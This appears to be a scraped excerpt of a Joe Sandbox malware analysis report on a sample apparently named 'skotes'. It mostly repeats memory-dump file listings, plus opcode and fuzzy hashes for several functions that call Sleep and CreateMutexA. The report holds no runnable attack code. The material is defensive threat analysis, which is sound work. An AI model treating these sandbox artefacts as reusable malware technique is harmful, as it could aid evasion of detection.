Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ecd72952dc00a7ac759dfef2b5659749fed9246336e745dc312fd544cc2880ef
Instruction ID: e8eb751617184b5cb89dd7c34468e2c65af2d5e88d066f1a1299ea56955a966d
Opcode Fuzzy Hash: ecd72952dc00a7ac759dfef2b5659749fed9246336e745dc312fd544cc2880ef
Instruction Fuzzy Hash: 60316A327041058BEB18AB78DC857ADB776EBC6310F20C619E118D73D1C73599858B52

Function 0097A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 27f8cc57087dca1cfbd873be69392d1db47dbcaf684d758543bb66ffb12aad71
Instruction ID: 4684a139da62c2fd608273ea5b7a634ba4f7d6bbf1407753b51a7dcda22a87b3
Opcode Fuzzy Hash: 27f8cc57087dca1cfbd873be69392d1db47dbcaf684d758543bb66ffb12aad71
Instruction Fuzzy Hash: DE316832A141059BEB18EB78DD89B6DB776EBC2314F20C628E018977D1C7369985CB52

Function 0097A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 20021e6418d3f9953e50e37ea1279addf22ff08343ac046c2e16ac2f6c12f868
Instruction ID: 21ae32865af012619cf465402942f8ce51d04de5c3ab0713e7673317609dc3c5
Opcode Fuzzy Hash: 20021e6418d3f9953e50e37ea1279addf22ff08343ac046c2e16ac2f6c12f868
Instruction Fuzzy Hash: C9317932A041019BFB08EB78DCC9B6DB776EBC6310F20C628E018973D1D7369984CB52

Function 0097A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 99efc5244977f974309f30d4ab975d77e9f1a0e7e1f19000c15f7bccd5eee691
Instruction ID: d948def7c7d2885e5e0a5e286f8d4383920eac51a069104381e332b3a2eaa6dd
Opcode Fuzzy Hash: 99efc5244977f974309f30d4ab975d77e9f1a0e7e1f19000c15f7bccd5eee691
Instruction Fuzzy Hash: 8B316A32A001019BEB18AB78DC89B6DB776EFC1314F24C218E158973D5D77699858B63

Function 0097A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6c802553cff39a25a8ec804c0bdbab3847b894b6affd67c90db020b7573b6caa
Instruction ID: 99c1ed770d651a3464eafeaf4f8597b1e4edd09b43dfe1270f96b57a3b58d312
Opcode Fuzzy Hash: 6c802553cff39a25a8ec804c0bdbab3847b894b6affd67c90db020b7573b6caa
Instruction Fuzzy Hash: 04315932A041058BEB18EB78DCC9B6DB776EFC5324F24C628E1589B3D1C7359985CB52

Function 0097A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
